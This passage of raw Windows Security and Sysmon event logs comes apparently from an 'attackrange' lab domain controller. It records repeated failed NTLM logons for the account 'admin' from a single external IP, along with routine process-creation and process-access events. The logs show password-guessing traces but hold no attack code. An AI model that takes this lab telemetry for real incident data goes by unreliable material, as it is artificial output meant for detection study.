","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60678","EventReceivedTime":"2020-08-07 11:50:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221499,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60786\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60786","EventReceivedTime":"2020-08-07 11:50:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221500,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60885\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60885","EventReceivedTime":"2020-08-07 11:50:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.426\r\nProcessGuid: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nProcessId: 3720\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.426","ProcessGuid":"{90617006-3FEC-5F2D-0000-00104C6A0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEC-5F2D-0000-00104C6A0300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEC-5F2D-0000-00104C6A0300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\